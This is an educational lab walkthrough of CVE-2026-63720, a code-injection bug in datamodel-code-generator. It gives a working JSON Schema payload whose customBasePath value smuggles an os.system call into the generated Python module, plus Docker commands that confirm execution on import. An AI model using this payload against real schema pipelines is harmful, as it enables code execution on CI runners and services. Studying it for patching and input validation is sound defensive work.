CVE-2026-63720: datamodel-code-generator customBasePath Code Injection RCE
Updated August 4, 2026 · Written by PWNMI — see About.
Most of the labs on this site attack a running network service. This one doesn't — the vulnerable thing is a code generator, and the "request" is a JSON Schema file. datamodel-code-generator turns JSON Schema or OpenAPI documents into Python (Pydantic) model classes, and it's common in CI pipelines and services that regenerate models from a schema someone else supplies. CVE-2026-63720 is a code-injection bug in how it handles one specific schema field, and the generated .py file it produces is dangerous the moment anything imports it.
Affects datamodel-code-generator before 0.70.0, fixed in 0.70.0. Original research and PoC: rahulreddykarne/CVE-2026-63720-datamodel-code-generator.
What you'll practice: reading a code generator's own source to find where untrusted input turns into emitted source code, recognizing "generate then import" as a two-step trust boundary that's easy to overlook, and confirming code execution through a file artifact rather than trusting a clean exit code.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-63720
cd cve-labs/CVE-2026-63720
docker compose up -d --build
There's no network service to reach here — the victim container runs a single entrypoint script (run.sh) that simulates a CI job: it code-generates a Python module from attack.json (standing in for an attacker-influenced schema) and then imports the result, then sleeps so the container stays up for inspection.
Understanding the vulnerability
datamodel-code-generator supports a customBasePath schema extension, meant to let a schema author point a generated model's base class at a specific importable path, like myapp.models.Base. The code that turns that string into an actual Python import statement is Import.from_full_path() in datamodel_code_generator/imports.py:
split_class_path: list[str] = class_path.split(".")
return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
It splits on . and treats the last segment as the class name, the rest as the module path — then hands both straight to the template that writes from {from_} import {import_} into the generated file. There's no check that either piece is a valid Python identifier, and no check for newlines. If customBasePath has no dots at all, the entire string becomes import_, embedded verbatim.
That's the whole bug: a string that's supposed to be a dotted class path gets treated as trusted enough to paste directly into generated source, with nothing verifying it looks like one. A customBasePath value containing an embedded newline and its own import/function-call syntax doesn't just corrupt the base-class line — it adds an entirely new top-level statement to the file, one that runs the instant something does import generated_models.
Exploitation
The schema (attack.json) carries the payload in customBasePath:
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('id > /work/RCE_PROOF.txt; hostname >> /work/RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
Generate the model exactly the way a victim pipeline would:
docker compose exec victim datamodel-codegen \
--input attack.json --input-file-type jsonschema \
--output /tmp/generated_models.py
docker compose exec victim cat /tmp/generated_models.py
The output has three lines where a single from builtins import object was expected:
from builtins import object
getattr(__import__('os'), 'system')('id > /work/RCE_PROOF.txt; hostname >> /work/RCE_PROOF.txt')
from builtins import object
The middle line isn't part of any import statement — it's the payload's embedded newlines breaking customBasePath across three logical lines of real Python, one of which is a live function call. Nothing about the generated file looks obviously malicious in a diff of import lines; it reads as a duplicate import, which is exactly the kind of thing a reviewer skims past.
Import it, the same way the victim pipeline does:
docker compose exec victim python3 -c "import sys; sys.path.insert(0, '/tmp'); import generated_models"
No errors, no unusual output — import just succeeds. That silence is the point: nothing about running this command signals that a shell command executed as a side effect. Confirm independently:
docker compose exec victim cat /work/RCE_PROOF.txt
Real output — a uid=.../gid=... line from id and the container's actual hostname — confirms the injected command ran with the privileges of whatever process imported the generated module. In a real pipeline, that's the CI runner or the service process doing the code generation, not some sandboxed subprocess.
Cleanup
This lab's own verification writes /work/RCE_PROOF.txt inside the container purely to prove the injected command executed — a real attacker exploiting this wouldn't create that file, it's specific to this walkthrough. Remove it if you want the container back to a clean state:
docker compose exec victim rm -f /work/RCE_PROOF.txt /tmp/generated_models.py
Beyond that, this exploit leaves nothing behind on a real target that outlives the process it ran in. It's not an implant or a planted account — it's arbitrary code that ran once, at import time, with whatever effect the attacker's payload had (here, writing a proof file; in a real attack, whatever the attacker chose — a reverse shell, a credential dump, a written backdoor). There's no artifact intrinsic to the CVE itself to clean up; whatever needs cleaning up is whatever the attacker's actual payload did, which is outside the scope of this specific bug.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- A "code generator" is a code execution primitive whenever its input is untrusted. Anything that writes source code based on external input and then gets imported or run is equivalent to
eval()on that input, whether or not anyone thinks of it that way. The two-step "generate, then import" pattern hides this because the dangerous step (import) is visually disconnected from the untrusted input (the schema). - String-splitting on a delimiter is not validation.
.split(".")faithfully does what it says — it just was never a check that the input was a well-formed identifier or dotted path. Treating a parsing operation as if it were also a validation step is a recurring source of injection bugs. - A clean exit code and no error output is not proof nothing happened. The
importin this lab succeeds silently. Verifying real impact — here, a file written by the injected command — has to check for the effect of code execution, not just the absence of a crash.
Next step
For another lab where the actual proof of exploitation is a file checked out-of-band rather than a status code, see CVE-2025-68613 (n8n). For the fundamentals behind reading and running the Docker commands used here, see the Docker cheatsheet.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.